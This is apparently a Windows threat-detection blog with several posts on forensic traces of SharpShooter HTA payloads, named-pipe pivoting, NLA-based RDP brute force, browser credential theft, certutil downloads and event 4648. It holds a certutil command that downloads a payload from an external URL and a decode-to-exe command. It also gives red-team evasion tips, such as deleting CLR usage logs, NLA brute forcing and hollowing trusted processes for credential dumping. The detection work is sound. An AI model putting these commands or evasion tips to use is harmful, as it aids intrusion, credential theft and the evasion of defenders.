Tuesday, 16 July 2019

Interesting DFIR traces of .NET CLR Usage Logs

As most of you already know .NET has become an increasingly important component in the offensive world, with attackers making increasing direct use of it as well as indirect use of it via existing windows scripting utilities. One good example of the indirect approach is DotNetToJScript, which allow to deliver managed code via a simple JavaScript.

We decided to take a closer look to this category of malicious code delivery, which lead us to this great Offensive tool by MDSec "SharpShooter" (at it's heart make use of DotNetJScript).

SharpShooter allow to generate multiple payload formats (hta, js, jse, vba, vbe, vbs, wsf), if your are interested about how it works or how to use it please refer to this MDSec post.

For testing purposes we will be using the .hta payload as an example, below an example of the content of our test payload (will spawn notepad.exe):




As you can see above, it uses RC4 with the key "'wxzomjyhto'" to decrypt a base64 decoded blob, and then execute the resulting VBScript, below the decoded script:


As you can see above, it uses the Deserialize_2 method of the "System.Runtime.Serialization.Formatters.Binary.BinaryFormatter" COM Object which is "high level" how the "DotNetToJScript" technique works to load managed code via object Deserialization.

Decoding the base64 encoded blob will lead us to a .NET executable, which will be used to load and execute our msfvenom base64 encoded shellcode (see "o.Go" method call), the shellcode will simply launch notepad.exe.



Now let's switch to what happens when we open this .hta file, to do this we will be using Sysmon with the following configuration:

N.B: the used sysmon config is designed to capture the relevant events we need and "more".




As you can see above, from process execution events, we don't see any clear traces of .NET code execution. enabling CLR common modules loading logging via sysmon is not an option since it's very noisy and lot of processes loads those DLLs. Lucklily for us while observing mshta.exe execution via ProcMon, we saw an interesting file being created under Microsoft .NET CLR usage logs  [%localappdata%\Microsoft\CLR_v<version_number>\UsageLogs\ProcessName.exe.Log]:

   

The file creation date indicate the first time the process was executed, for any further executions of the same process, the same file is updated and no file creation event is recorded. Content of the file display the list of linked assembly modules and their versions:


First question that comes to our mind after observing this file system precious artifact, is what are the windows native system processes that normally loads .NET code, to find out we've used 3 months of EDR process and file creation telemetry covering more 700 Windows 10 endpoints and we filtred for any process starting from "c:\windows\s*" which covers wscript.exe, cscript.exe and other processes:



As you can see above, the windows system processes that loads managed code are quite limited and can be baselined, for instance a straightforward detection is to alert for the following:



While googling for extra information about .NET UsageLogs, we come accross this interesting article explaining how to use CLR Load logging (different than UsageLogs) for debugging purposes and that can be enabled via a simple registry change and specifying where a path where to store those logs, doing so resulting in the following interesting details after the .hta execution:



For every execution a log file is created, below an example of SharpShooter .hta payload:



Although the CLR Load Logs provide more detailed information including invoked .NET COM objects, FunctionCall and Methods's names it's quite verbose and you can't exclude noisy processes.

TakeAway:

Using your EDR or Sysmon, hunt for File Creation with file path and name matching the following logic:

*\\UsageLogs\\cscript.exe.log|(wscript.exe.log)|mshta.log|wmic.log|regsvr32.exe.log|svchost.log

The advantage of this detection method is that you can hunt for it using just powershell or alike to scan filesystem for any matching file that related to a potential previous infections..

For RedTeamers, go for the vba payload as winword.exe and excel.exe are legit managed code host processes. and make sure you delete the corresponding  .NET usage .log file if you plan to use hta,  vbscript or jscript payloads.

Bonus:

You can download example of evtx logs for SharpShooter sysmon traces here.

Tuesday, 30 April 2019

Detecting Namedpipe Pivoting using Sysmon

In this quick post we will be sharing with you a detection trick you can use to detect lateral movement via rogue named pipe (i.e. cobaltstrike smb-beacon). 

Detectioon theory and constraints we can think of are listed below:
  • For namedpipes pivoting, communication will happen over SMB ---> we need Sysmon NetworkConnect EventID 3 with SourcePort=445 or DestinationPort=445 
  • A new Pipe (rogue) will be created by any process (under operator's control, same apply to the name of the pipe) --> for the directly associated sysmon eventid 17 (PipeCreate), we can't really filter by pipe name or by process name (subject to high # of false positives)
  • Since the named pipe will be accessible remotely via SMB, then normally SYSTEM virtual process will be the one receiving the inbound connection from the operator machine and this event will be logged via sysmon eventid 3.
  • SYSTEM process will need to connect to the rogue named pipe created by process-X (unknown to us), and this can be detected via Sysmon eventid 18 (PipeConnect).
To test this theory we searched for a simple powershell script implementing this technique and we've found a good candidate by Joe Vest (@joevest), Invoke-PipeShell.

Setup is very simple:
     
   Operator from  [NLT10] --- Open an Interactive Shell ---> [IEWIN7]:"Remote Machine" 

On machine IEWIN7 execute the following command, that will create a listening local named pipe "46a676ab7f179e511e30dd2dc41bd388" (mimic ProjectSauron APT namedpipe name),  and a 16 bytes AES key to encrypt traffic:


We can confirm execution success via process explorer:



On Machine NLT10 we will simply initiate an authenticated (cmd /c runas /netonly /user:IEWIN\IEUser powershell.exe) session to IEWIN7 and using the following command to connect to the remote pipe :


Checking our Sysmon Logs, we can see that our theory is quite correct and can be indeed used to detect/hunt for similar behavior:


As you can see above, we have sysmon 18 (PipeConnection) followed by sysmon 3 (NetworkConnect) within seconds of difference, now let's explore those event's details:


As explained earlier, we don't really care about PipeCreation event for this specifc use case, Sysmon 18 shows us what we need: System process connecting to a named pipe to deliver commands and to return back cmd's execution results to Machine1  (Command from machine1 --- > System:445 on machine2 ---> namedPipe --read---> malicious process on Machine2 and vice versa).



Also as expected System virtual process is receiving an incoming SMB connection from a remote host (SourcePort=445 and DestinationHost eq to Operator machine).

Detection Logic:

(EventID=18 and Image eq "System") followed by (EventID=3 and Image eq "System" and SourcePort eq "445") within less than 1 minutes and both events from same Hostname.

Raw evtx file associated with this test can be found here for download.

N.B: use other pentesting tools tha support namedpipes pivoting and let us know about the results!

Tuesday, 16 April 2019

The "-" impact of Network Level Authentication on failed logon events - 4625

In this short post we will be highlighting some of the observed abnormal failed logon events (related to RDP brute force activity) and how you can detect them and also how you can leverage them to conduct a "stealthy" RDP brute-forcing attack.

For this, we will be using an open source RDP client xfreerdp (available on Kali Linux by default):



Xfreerdp allow us to control the following parameters:

  • source client machine (that the target victim machine should see)
  •  /sec:nla will force the use of NLA (Network Level Authentication) as the RDP protocol to use (recommended by Microsoft)
  • /u /p and /v for the target username, password (wrong password) and hostname/IP
Once the logon is attempted, those are the events that will be seen on the target machine:



As you can see above: 
  • the logon type is marked as 3 (network) instead of 10 (RDP)
  • the source network address is equal to "-"
  • the source machine is marked as "Kali" (although we've specified a different client-hostname in xfreerdp /client-hostname parameter), but this can be changed by the attacker (hostname)

To investigate further if there other traces of failed RDP logon attempts, we need to check the following event sources (under Applications and services logs\Microsoft):


  • TerminalServices-RemoteConnectionManager\Operational
  • TerminalServices-LocalSessionManager\Operational
  • RemoteDesktopServices-RemoteDesktopSessionManager


As you can see below, no useful events are logged (for failed attemts, those event sources are useful for successful logons):







Even if you change the settings on the target machine to not require NLA authentication, same events are logged when xfreerdp is supplied with /sec:nla:




If we specify other RDP authentication protocol (other than NLA), we can see the source IP of the failed logon activity:




4625 will look like this:





Both of the sourceIP and the correct logon type are recorded, but what's abnormal is the source workstation name equal to the target machine name.

And for eventid 1149, it reports also the correct source IP and the type of logon (RDP), but it marks this logon as succefful logon or it was a failed attempt.




So, the question now is what are the main takeaways?


  1. detection correlation rules based on occurences count (i.e. more than x of failed attempts from same source IP or hostname) can be broken if one uses similar technique (rdp client that support setting rdp authentication protocol as NLA). 
  2. Look for 4625 events (usually those are the ones that are collected and forwarded to a SIEM) with source network address NULL or equal to "-"
  3. Look for 4625 events where source workstation is equal to AccountName or AccountDomain.
  4. As a redteamer, if you want to conduct brute-forcing (inside the network), use this technique and you will be fine.
  5. Don't trust event logs blindly!
To verify if point 2 matches any false positive, we've run the following query on a real environment:



That's all!


Tuesday, 2 April 2019

Credential Access - Detecting Browser's secrets stealing

Browser's saved credentials (passwords & permanent cookies) are a juicy target for any attacker for the following reasons:
  • elevated privileges are not required
  • we all tend to reuse passwords and if not we rely a lot on auto-saving them in the browser
  • EDR and AV solutions are quite ineffective at detecting them based solely on their behavior (file read access is a legit action as long as the source process is not a known bad binary)
  • Stolen credential allow to log to some web application (business data)

In this short post we will explain you one way to detect rogue processes accessing specific browser's files used to obtain clear text saved passwords, this test is limited to the following browsers, but you can replicate the same logic for other browsers:
  • Google Chrome & Opera (both based on chromium browser)
  • Mozzila Firefox
Browser's creds dumpers (not in-memory) need to access the following files (mapped per browser):


Windows provide the ability to audit access to chosen folders or files based on the desired audit settings (principal or account, type of access modify, fullcontrol etc. and success of failure attempts):

1st, you will need to edit your GPO advanced audit policy settings to include Object Access > File System:



at this point nothing is logged yet, now we need to deploy a simple PowerShell script (must be run with high privileges) to edit the desired files and folders's audit access control list:


N.B: to reduce generated 4663 events, you can be more specific and change the paths array to point to specific files instead of all the folder and sub-folders & also to set $InheritType to "None" (used to specify that audit settings will be inherited by child objects).

Now let's run the malicious program and check our Security Events:






As can be seen above, you will need to collect 4663 events or use local scheduled task that notifies you based on an events XML filter that exclude legit combination of Process Name and Accesses (usually you will see browser processes, explorer.exe if accessed via GUI, dllhost.exe and eventually backup and restoring related processes). 

From an offensive perspective, it's good to execute your browsers dumping routine from one of those trusted processes (i.e. dllhost.exe or explorer.exe hollowing).

Remember that the same concept can be applied to other sensitive files, below an example of rogue access via renamed rar.exe with an attempt to compress & ex-filtration victim's offline global address book:


Below resulting log:



That's all & remember that key-loggers and browser's creds dumpers are still challenging to detect, test your EDR and AV solution before others do it.

Wednesday, 13 March 2019

[Initial Access & execution] - Evidences for files download using Certutil.exe utility

Cetutil is a Microsoft native utility that can be used to dump and display certification authority (CA) configuration information, configure certificate services, back up and restore CA components, verify certificates, key pairs or certificate chains.  

It comes with several command options, among which some of them can be (ab)used to decode a b64/hex encoded malicious file and/or to download a payload/script:

  • Decoding example: certutil -decode %TEMP%\\Signature.crt %TEMP%\\Sign.exe
  • Download example: certutil -urlcache -split -f http://www.annduval.com/Ua.php %APPDATA%\Softupdate.txt 
To investigate any potential behavioral indicators to detect the download operation, we will download a file from the internet and monitor files and registry changes using procmon.exe:





As can be seen below, no relevant registry changes:


Surprisingly, FileWrite operations reveal good forensics artifacts:


As can be seen above, we have multiple write operations:
  1. Location specified in the certutil.exe command as a destination for the downloaded file.
  2. C:\Users\username\AppData\Local\Microsoft\Windows\INetCache\IE\<Random>\SysinternalsSuite.zip
  3. C:\Users\username\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\random_file_name
  4. C:\Users\username\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\random_file_name
Verifying the content of the written files in 2 and 4 reveals that hey are just copies of the downloaded file (stored in 1) --> Good for IR and Forensics (copy of dropped file 👍):





Last observed useful artifact is the used download URL (found in file #3 "CryptnetUrlCache\Metadata"):



Notes:
  • Same tests conducted on Windows 10 were replicated on Windows 7, same artifacts with the exception of the copy written to INETCACHE folder (see bullet #2)
  • Renaming certutil.exe and running it from %temp% left same artifacts
  • Microsoft\CryptnetUrlCache\Content & METADATA are not highly solicited folders, see below creation times on one machine that keeps content from 2017 until present (which is good for forensics and hunting previous infections using this technique):




References:


Monday, 11 March 2019

An overview of Windows EventID 4648 - Logon with explicit credentials

In this post, we will try to analyse some of the known noisy windows events and see if there are any hidden opportunities or details we are missing because of the high volume  and that we can turn them into our advantage. More importantly for any defender knowing what's normal helps a lot (especially during investigation in post-breach mode where you don't have time ...) to identify the abnormal things. 

This event is qualified as noisy because every time a user, a computer account logon, a service or a task runs this event get logged. Before we start let's agree on the field/attributes of interest in 4648 event:
  1. Subject Account Name -> referred to as SourceUserName
  2. Account Name -> referred to as DestinationUserName (Alternate Credentials)
  3. Process Information -> the process involved in the switch of credentials (i.e. from account-A to account-B)
  4. Target Server -> if you do a remote logon with different credentials then the TargetServer will contain info about the destination 
  5. Network Information -> if your machine receives a remote authentication from host 1.2.3.4, then you will see in your machine 4648 event this IP address.
A quick search for 3 months period of 4648 event logs from 4 DC yields the following:


As can be seen above, majority of the noise is coming from the following combination of attributes:
  • SourceUserName = System
  • DestinationUserName = Domain User or Computer AccountName
  • Process: *\lsass.exe 

  • SourceUserName = System
  • DestinationUserName= *$ (Computer Account)
  • ProcessName=*\taskhostw.exe or *\taskhost.exe or *\taskeng.exe


  • SourceUserName = System
  • DestinationUserName = System
  • ProcessName=*\service.exe or *\svchost.exe
  • Target Server Name: localhost
  • Network Address = NULL

  • SourceUserName = *$
  • DestinationUserName = *
  • ProcessName=*\service.exe or *\winlogon.exe
  • Target Server Name: localhost
  • Network Address = 127.0.0.1 (indicate local interactive logon - 4624 LogonType=2)


 Now let's drill down into some of the interesting 4648's attributes combinations:

A) Inbound RDP Process=winlogon.exe and NetworkAddress is not Null nor equal to loopback address and is often associated to a remote interactive logon activity (Logon Type equal 10 or 7)


B) Outbound RDP: SourceUserName != System or *$ and Additional Information contains TERMSRV.



C) Net use x: \\target  /user:example\admin01: EventId 4648 with Logon ProcessID=4 (System, very rare)



D) Remote Service Interaction (using sc.exe with explicit creds):


E) Services running with specific account (other than local SYSTEM or NETWORK SERVICE):



Takeaway:

  • Monitor 4648 with process-name different than the top common ones (winlogon.exe, lsass.exe, svchost.exe, task*.exe, mmc.exe, services.exe, consent.exe, w3wp.exe)
  • Monitor 4648 with ProcessID=0x4 (System virtual process).
  • Monitor 4648 with SourceAccountName different than (System or *$) and SourceAccountName != DestinationAccountNAme
  • When investigating RDP activity, pay attention to 4648 with process name equal to winlogon.exe and Network Address is not null nor equal to locahost
  • When investigating 4648 events, pay attention to the Additional Information attribute.